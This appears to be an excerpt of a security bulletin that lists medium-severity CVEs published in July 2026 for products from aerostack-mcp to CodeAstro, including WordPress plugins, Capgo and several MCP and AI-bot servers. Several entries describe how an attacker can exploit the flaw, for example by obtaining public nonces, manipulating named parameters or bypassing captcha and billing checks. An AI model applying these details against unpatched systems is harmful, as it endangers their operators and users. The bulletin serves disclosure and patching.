| aerostackdev--aerostack-mcp                                                                     | A security vulnerability has been detected in aerostackdev aerostack-mcp up to 6315dfde7df0a15aaf743f88d91347115e09ba23. Affected by this issue is the function upload_media of the component mcp-whatsapp. Such manipulation of the argument media_url leads to server-side request forgery. The attack may be launched remotely. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                             | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15189</a> |
| affine--monorepo                                                                                | AFFiNE's histories GraphQL field fails to validate Doc.Read permission before exposing document edit history, allowing authenticated workspace members to                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 6.5        | <a href="#">CVE-2026-59262</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                | retrieve restricted content timelines. Attackers can supply arbitrary document GUIDs to access full edit histories including user names, emails, and timestamps of private pages they lack access to.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| ahmadmj--<br>Majestic Support<br>The Leading-Edge<br>Help Desk &<br>Customer Support<br>Plugin | The Majestic Support - The Leading-Edge Help Desk & Customer Support Plugin plugin for WordPress is vulnerable to generic SQL Injection via the 'val' parameter in all versions up to, and including, 1.1.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires a valid 'get-smart-reply' nonce, which any Subscriber-level user can obtain by creating a ticket via the public frontend and visiting the resulting ticket detail page, making this effectively exploitable by any authenticated user. | 2026-07-11 | 6.5        | <a href="#">CVE-2026-13262</a> |
| AidanPark--<br>openclaw-android                                                                | A vulnerability was determined in AidanPark openclaw-android up to 0.4.0. The affected element is an unknown function of the file android/app/src/main/java/com/openclaw/android/JsBridge.kt of the component Android WebView Bridge. This manipulation causes os command injection. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 5.3        | <a href="#">CVE-2026-15193</a> |
| AMTT--Hotel<br>Broadband<br>Operation System                                                   | A flaw has been found in AMTT Hotel Broadband Operation System 1.0. Impacted is an unknown function of the file manager/network/switch_status.php. Executing a manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-12 | 4.7        | <a href="#">CVE-2026-15494</a> |
| ankitects--anki                                                                                | Anki is a program for creating and reviewing flashcards. Prior to 25.09.4, Anki's webview-based pages communicate with the Rust backend using an internal localhost API, and user scripts included via iframes in the editor can access this API despite protections intended to block reviewer and editor scripts. A malicious imported card package with an embedded iframe can use exposed API methods such as getImageForOcclusion to read arbitrary files accessible to the Anki process and exfiltrate them over the network. This issue is fixed in version 25.09.4.                                                                                                                                                                                                                 | 2026-07-07 | 6.5        | <a href="#">CVE-2026-58266</a> |
| antiwork--<br>gumroad                                                                          | Gumroad before 2026.07.06.2 contains a broken access control vulnerability in the PurchasesController that allows authenticated sellers to manipulate purchase access for other sellers' products by sending PUT requests to the revoke_access and undo_revoke_access actions without seller ownership validation. Attackers can modify the is_access_revoked status on arbitrary purchases to unauthorized revoke or restore buyer access to products they do not own.                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 6.5        | <a href="#">CVE-2026-59805</a> |
| AojiaoZero--<br>Antaris                                                                        | A vulnerability was detected in AojiaoZero Antaris 1.0. This affects the function _rewardPurchase of the file /ipn.php of the component PayPal IPN Payment Handler. The manipulation of the argument item_number results in sql injection. The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15502</a> |
| apidevtools--json-<br>schema-ref-parser                                                        | A weakness has been identified in apidevtools json-schema-ref-parser up to 15.3.5. This impacts the function Refs.set/Pointer.set in the library lib/pointer.ts. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. Upgrading to version 15.3.6 will fix this issue. This patch is called a786bc6afc3674f650496472ee93d5cf74c4bd84. It is suggested to upgrade the affected component.                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15195</a> |
| appium--appium                                                                                 | Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 10.7.0, Appium's base-driver unconditionally mounts the /test/guinea-pig, /test/guinea-pig-scrollable, and /test/guinea-pig-app-banner routes, and compileLodashTemplate reflects the throwError query parameter, comments POST field, and User-Agent request                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 6.5        | <a href="#">CVE-2026-58191</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                       | header into HTML without escaping, allowing reflected cross-site scripting and arbitrary JavaScript execution on the server origin. This issue is fixed in version 10.7.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| arikusi--deepseek-mcp-server                                                          | DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-55605</a> |
| Armiya Information Technologies Ltd. Co.--Access Control System (GKS)                 | Improper neutralization of Script-Related HTML tags in a web page (basic XSS) vulnerability in Armiya Information Technologies Ltd. Co. Access Control System (GKS) allows XSS Targeting HTML Attributes. This issue affects Access Control System (GKS): before Version 2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 6.1        | <a href="#">CVE-2026-7380</a>  |
| Armiya Information Technologies Ltd. Co.--Access Control System (GKS)                 | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Armiya Information Technologies Ltd. Co. Access Control System (GKS) allows Stored XSS. This issue affects Access Control System (GKS): before Version 2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-07 | 6.1        | <a href="#">CVE-2026-8306</a>  |
| Armiya Information Technologies Ltd. Co.--Access Control System (GKS)                 | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Armiya Information Technologies Ltd. Co. Access Control System (GKS) allows Reflected XSS. This issue affects Access Control System (GKS): before Version 2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-07 | 5.4        | <a href="#">CVE-2026-8309</a>  |
| arraytics--Eventin Event Calendar, Event Registration, Tickets & Booking (AI Powered) | The Eventin - Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'etn_faq_content' parameter in all versions up to, and including, 4.1.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-10 | 6.4        | <a href="#">CVE-2026-12924</a> |
| arraytics--Eventin Event Calendar, Event Registration, Tickets & Booking (AI Powered) | The Eventin - Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is vulnerable to authorization bypass due to a regression in versions from 4.0.26 up to and including 4.1.15. This is due to the plugin not properly verifying that a user is authorized to perform an action in the payment_complete() function of PaymentController.php. This makes it possible for unauthenticated attackers to mark unpaid ticket orders as completed by submitting a fabricated SureCart checkout ID or FluentCart cart hash, granting themselves paid event access, QR-code attendee tickets, and order confirmation emails without making any real payment. The wp_rest nonce required to reach the vulnerable endpoint is embedded in every public event page, meaning no WordPress session or credentials are needed to obtain it. This vulnerability                                                                                                                                                                                                                                                                                               | 2026-07-10 | 5.3        | <a href="#">CVE-2026-13039</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                | represents a regression - the same function and endpoint were previously patched but the fix did not persist through subsequent releases.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| arraytics--WPCafe Restaurant Menu, Online Food Ordering & Table Booking System | The WPCafe - Restaurant Menu, Online Food Ordering & Table Booking System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.0.14. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to list, create, update, delete, clone, and bulk-delete notification flow workflows that are intended to be managed only by administrators. The only protection on these endpoints is a wp_rest nonce check, which is obtainable by any logged-in user from the frontend page source.                                                                                                                                                                                                                                                        | 2026-07-10 | 5.4        | <a href="#">CVE-2026-11818</a> |
| AstrBotDevs--AstrBot                                                           | A security flaw has been discovered in AstrBotDevs AstrBot up to 4.25.2. Affected is the function FutureTaskTool.call of the file astrbot/core/tools/cron_tools.py of the component Scheduled Task Handler. Performing a manipulation of the argument payload["note"] results in improper authorization. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15499</a> |
| AstrBotDevs--AstrBot                                                           | A weakness has been identified in AstrBotDevs AstrBot up to 4.25.2. Affected by this vulnerability is the function get_online_plugins of the file astrbot/dashboard/routes/plugin.py of the component market_list Endpoint. Executing a manipulation of the argument custom_registry can lead to server-side request forgery. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15500</a> |
| AstrBotDevs--AstrBot                                                           | A security vulnerability has been detected in AstrBotDevs AstrBot up to 4.25.2. Affected by this issue is the function ToolsRoute.test_mcp_connection of the file astrbot/dashboard/routes/tools.py of the component MCP Test Endpoint. The manipulation of the argument mcp_server_config.url leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15501</a> |
| AVideo--AVideo                                                                 | AVideo (Meet plugin) through commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 contains a stored cross-site scripting vulnerability in the Meet plugin's getMeetInfo.json.php endpoint. When a participant joins a public meeting, the raw HTTP User-Agent header is stored (meet_join_log.user_agent) without sanitization (bypassing AVideo's setter-level xss_esc() layer) and later echoed without output encoding (no htmlspecialchars()) in the Participants management panel, which is accessible to the meeting host and site administrators. An anonymous, unauthenticated attacker can join any public meeting while supplying a User-Agent header containing an HTML/JavaScript payload; the payload is persisted and executes in the privileged, authenticated browser session of the meeting host or a site administrator when they open the participant list. The issue was unpatched at the time of the report. | 2026-07-08 | 6.1        | <a href="#">CVE-2026-60092</a> |
| AWS--res                                                                       | AWS Research and Engineering Studio (RES) is an open-source solution that enables researchers and engineers to create and manage secure virtual desktops and computing resources on AWS. Improper link resolution before file access issue (CWE-59) in the Auth.GetUserPrivateKey API. An authenticated remote user could read arbitrary files on the cluster-manager EC2 instance by replacing their SSH private key file (~/.ssh/id_rsa) with a symbolic link targeting any file on the host. Because the cluster-manager process runs as root, any file readable by root is exposed, including other users' SSH private keys and application configuration secrets. It's recommended to upgrade to RES version 2026.06.                                                                                                                                                                                                   | 2026-07-07 | 6.5        | <a href="#">CVE-2026-14904</a> |
| axllent--mailpit                                                               | Mailpit is an email testing tool and API for developers. Prior to 1.30.2, the remediation shipped for CVE-2026-27808 is incomplete because the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 5.8        | <a href="#">CVE-2026-55187</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                         | tools.IsInternalIP deny-list in internal/tools/net.go relies on Go's standard library classification helpers and does not block IPv6 transition mechanisms or prefixes such as NAT64, 6to4, IPv4-compatible IPv6, ISATAP, fec0::/10, and 2001:db8::/32. An attacker who can deliver email and invoke POST /api/v1/message/{ID}/link-check can coerce the Link Check API's safeDialContext path into dialing internal destinations and can use status-code and error feedback to map internal service reachability, including cloud metadata endpoints. This issue is fixed in version 1.30.2.                                                                                                                                                         |            |            |                                |
| Bahmni--bahmnicore                                                      | A vulnerability was detected in Bahmni bahmnicore up to 0.93. This affects the function additionalParams of the file /openmrs/ws/rest/v1/bahmnicore/sql of the component Search Endpoint. Performing a manipulation of the argument test results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used. Upgrading to version 0.93.1, 1.0.1, 1.1.1, 1.2.1, 1.3.1 and 2.0.1 mitigates this issue. Upgrading the affected component is recommended.                                                                                                                                                                                                                                                          | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15477</a> |
| beardev--JoomlaSport for Sports: Team & League, Football, Hockey & more | The JoomlaSport - for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based SQL Injection via 'event' Shortcode Attribute in all versions up to, and including, 5.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The shortcode can be embedded in posts or pages by Contributor-level users, making this exploitable by any authenticated user with at least that role.                     | 2026-07-10 | 6.5        | <a href="#">CVE-2026-13010</a> |
| bentoml--OpenLLM                                                        | A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function async_run_command of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                     | 2026-07-08 | 5.3        | <a href="#">CVE-2026-15035</a> |
| Bixilon--Minosoft                                                       | Minosoft is an open-source, multi-version Minecraft Java Edition client written in Kotlin. Starting in commit f1ae30e2b046a490026a8413b075685deb795122, the CryptManager encryption routine ( CryptManager.kt ) initializes its AES cipher using an initialization vector (IV) that is set equal to the secret key rather than to a sufficiently random value. Because the IV is not random and is derived directly from the key, the encryption is vulnerable to chosen-ciphertext/chosen-plaintext attacks: an attacker who can submit specific messages for encryption can recover the secret key. This affects all versions supporting Minecraft protocol 1.7 and later. No patched version is available, and no known workarounds are available. | 2026-07-06 | 5          | <a href="#">CVE-2024-56141</a> |
| bouncingsprout--Block, Suspend, Report for BuddyPress                   | The Block, Suspend, Report for BuddyPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' parameter in versions up to and including 3.6.4. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with subscriber-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                       | 2026-07-09 | 6.4        | <a href="#">CVE-2026-4653</a>  |
| bytecodealliance--wasmtime                                              | Wasmtime is a runtime for WebAssembly. Prior to 24.0.11, 36.0.12, 45.0.3, and 46.0.1, wasmtime-wasi hard-link creation and renaming check directory permissions but not matching FilePerms on source and destination preopens, allowing a WASI guest with a read-only source file capability to overwrite host files exposed as FilePerms::READ through wasip1, wasip2, or wasip3 filesystem interfaces. This issue is fixed in versions 24.0.11, 36.0.12, 45.0.3, and 46.0.1.                                                                                                                                                                                                                                                                        | 2026-07-08 | 6.5        | <a href="#">CVE-2026-58494</a> |
| Cap-go--capgo                                                           | Capgo (Cap-go/capgo) before 12.128.2 contains an information disclosure vulnerability in the Supabase PostgREST RPC function public.get_total_metrics(org_id), which is callable by the anon role using only the public.sb_publishable_* key. An unauthenticated attacker can probe organization                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 5.3        | <a href="#">CVE-2026-56284</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | existence and leak sensitive usage metrics including MAU, bandwidth, and install counts by sending POST requests to /rest/v1/rpc/get_total_metrics with valid organization UUIDs.                                                                                                                                                                                                                                              |            |            |                                |
| Cap-go--capgo             | Cap-go before 12.128.2 contains an information disclosure vulnerability in the public.transfer_app RPC function that returns distinct error messages for existing versus non-existing app IDs. Unauthenticated attackers can enumerate valid app IDs by observing error message differences when calling transfer_app with only the publishable API key.                                                                       | 2026-07-11 | 5.3        | <a href="#">CVE-2026-56296</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an authorization bypass vulnerability in the public.manifest INSERT policy that allows read-only org members to insert OTA manifest rows. Attackers with read-only org access can inject malicious manifest entries with arbitrary s3_path values that are served to devices via the unauthenticated /updates endpoint, enabling OTA metadata poisoning and potential malicious asset delivery. | 2026-07-08 | 6.5        | <a href="#">CVE-2026-56220</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an improper validation vulnerability in the accept_invitation endpoint that creates user accounts before captcha validation is enforced. Attackers can bypass captcha protection by sending POST requests with invalid captcha tokens to create unwanted accounts and burn invite links.                                                                                                        | 2026-07-10 | 6.5        | <a href="#">CVE-2026-56312</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains a cross-tenant preview namespace collision vulnerability caused by non-bijective decoding of double underscores to dots in preview hostname parsing. Attackers can register app IDs with underscores that collide with other tenants' dotted app IDs, causing preview misrouting and denial of preview access for victim applications.                                                          | 2026-07-10 | 6.4        | <a href="#">CVE-2026-56329</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an authorization bypass vulnerability where write-scoped API keys can directly mutate protected channel configuration fields through PostgREST by exploiting a null authentication check in the immutability trigger. Attackers with write API keys can modify sensitive channel attributes such as public, allow_emulator, and security-related flags outside intended application routes.     | 2026-07-10 | 6.5        | <a href="#">CVE-2026-56335</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains a scope isolation vulnerability in the POST /webhooks/test endpoint that allows app-scoped API keys to invoke org-scoped webhook operations. Attackers with app-scoped credentials can trigger signed outbound webhook deliveries for arbitrary organization webhooks outside their declared app boundary, bypassing the limited_to_apps authorization check.                                   | 2026-07-12 | 5.4        | <a href="#">CVE-2026-56252</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an html injection vulnerability in the organization settings endpoint that allows attackers to inject malicious HTML content. Attackers can craft payloads in the organization name field to redirect users to untrusted websites, enabling phishing attacks and reputational damage.                                                                                                           | 2026-07-08 | 5.4        | <a href="#">CVE-2026-56283</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an authorization flaw in transfer_app() that fails to update deploy_history.owner_org when transferring applications between organizations. Attackers can exploit this omission to retain unauthorized access to deployment history records in the source organization or cause the destination organization to lose access to transferred application deployment records.                      | 2026-07-08 | 5.4        | <a href="#">CVE-2026-56293</a> |
| Capgo--Capgo              | Capgo before 12.128.2 fails to enforce plan/quota restrictions on the /files/upload/attachments endpoint, allowing plan-blocked apps to create publicly readable R2 objects. Attackers can upload arbitrary attachments using upload-scoped API keys that bypass plan checks, persist outside normal bundle metadata, and survive app deletion, enabling storage and bandwidth abuse.                                          | 2026-07-10 | 5.4        | <a href="#">CVE-2026-56309</a> |
| Capgo--Capgo              | Capgo before 12.128.2 contains an information disclosure vulnerability in the unauthenticated /private/sso/check-domain endpoint that returns internal org_id and provider_id values. Attackers can enumerate email domains to build mappings                                                                                                                                                                                  | 2026-07-12 | 5.3        | <a href="#">CVE-2026-56336</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                       | of domains to organization UUIDs and SSO provider identifiers, enabling reconnaissance against Capgo tenants.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| Capgo--Capgo                                          | Capgo before 12.128.2 contains a policy bypass vulnerability in app_versions update enforcement that allows app-scoped API keys to downgrade encrypted bundles to non-encrypted state. Attackers with app-scoped all API keys can directly update the app_versions table via PostgREST to clear session_key and key_id fields, bypassing organization-enforced encrypted-bundle policies and weakening OTA security controls.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 4.3        | <a href="#">CVE-2026-56217</a> |
| Capgo--Capgo                                          | Capgo before 12.128.12 contains a billing authorization bypass vulnerability in the plan_valid calculation that allows organizations with exhausted or expired usage credit grants to bypass billing gates. Attackers can exploit the divergence between the plugin hot-path plan_valid expression and the authoritative billing gate to gain continued access to /updates, /stats, /channel_self, and attachment upload endpoints after credit depletion.                                                                                                                                                                                                                                                                                                                            | 2026-07-11 | 4.3        | <a href="#">CVE-2026-56240</a> |
| Capgo--Capgo                                          | Capgo before 12.128.2 fails to strip EXIF metadata from images uploaded via the app information endpoint, exposing sensitive geolocation data. Attackers can upload images containing EXIF metadata to extract geographic location information and other embedded metadata from uploaded files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 4.3        | <a href="#">CVE-2026-56298</a> |
| carazo--Import and export users and customers         | The Import and export users and customers plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.4.0 via the email_template_selected. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract the post_title and raw post_content of arbitrary posts regardless of status (draft, private, future, trash, password-protected) or post type (including non-public CPTs such as WooCommerce orders and internal CRM records) by enumerating post IDs. The required codeception-security nonce is exposed as inline JavaScript on any wp-admin page when ?post_type=acui_email_template is appended to the URL, which is reachable by any authenticated user including Subscribers. | 2026-07-10 | 4.3        | <a href="#">CVE-2026-15026</a> |
| catalyst2020--Catalyst Connect Zoho CRM Client Portal | The Catalyst Connect Zoho CRM Client Portal plugin for WordPress is vulnerable to time-based SQL Injection via the 'uid' parameter in all versions up to, and including, 2.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                           | 2026-07-11 | 4.9        | <a href="#">CVE-2025-5017</a>  |
| chatra--Chatra Live Chat + ChatBot + Cart Saver       | The Chatra Live Chat + ChatBot + Cart Saver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                                                                                                                                             | 2026-07-08 | 4.4        | <a href="#">CVE-2026-12041</a> |
| christopherthielen--check-peer-dependencies           | A flaw has been found in christopherthielen check-peer-dependencies up to 4.3.4. Affected by this vulnerability is the function shelljs.exec of the file dist/packageUtils.js of the component peerDependencies. This manipulation causes os command injection. The attack may be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 6.3        | <a href="#">CVE-2026-15033</a> |
| cilium--cilium                                        | Cilium is a networking, observability, and security solution. Prior to 1.17.16, from 1.18.2 to 1.18.9, and from 1.19.0 to 1.19.3, users with the ability to create CiliumLocalRedirectPolicies can specify arbitrary ClusterIPs via addressMatcher, enabling hijacking traffic to Services in any namespace and bypassing namespace scoping enforced by serviceMatcher; deleting such a policy can also corrupt Cilium                                                                                                                                                                                                                                                                                                                                                                | 2026-07-07 | 6.9        | <a href="#">CVE-2026-53935</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                | internal service state and stop service translation for the affected Service. This issue is fixed in versions 1.17.16, 1.18.10, and 1.19.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| cli--cli                                       | GitHub CLI (gh) is GitHub's official command line tool. From 2.10.0 through 2.95.0, connecting to a malicious Codespace with gh codespace jupyter can allow command execution because the command opens a JupyterLab URL supplied by a process inside the Codespace without validating that it is a loopback HTTP or HTTPS address, allowing a crafted vscode:// or vscode-insiders:// URL to be handed to VS Code. This issue is fixed in version 2.96.0.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 4.4        | <a href="#">CVE-2026-59831</a> |
| CodeAstro--Apartment Visitor Management System | A vulnerability has been found in CodeAstro Apartment Visitor Management System 1.0. Affected by this issue is some unknown functionality of the file /apartment-visitor/action-visitor.php. Such manipulation of the argument remark leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14795</a> |
| CodeAstro--Apartment Visitor Management System | A vulnerability was found in CodeAstro Apartment Visitor Management System 1.0. This affects an unknown part of the file /apartment-visitor/report.php. Performing a manipulation of the argument fromdate results in sql injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14796</a> |
| CodeAstro--Apartment Visitor Management System | A vulnerability was determined in CodeAstro Apartment Visitor Management System 1.0. This vulnerability affects unknown code of the file /apartment-visitor/edit-apartment.php. Executing a manipulation of the argument editid can lead to sql injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14797</a> |
| CodeAstro--Apartment Visitor Management System | A vulnerability was identified in CodeAstro Apartment Visitor Management System 1.0. This issue affects some unknown processing of the file /apartment-visitor/visitor-entry.php. The manipulation of the argument visname leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14798</a> |
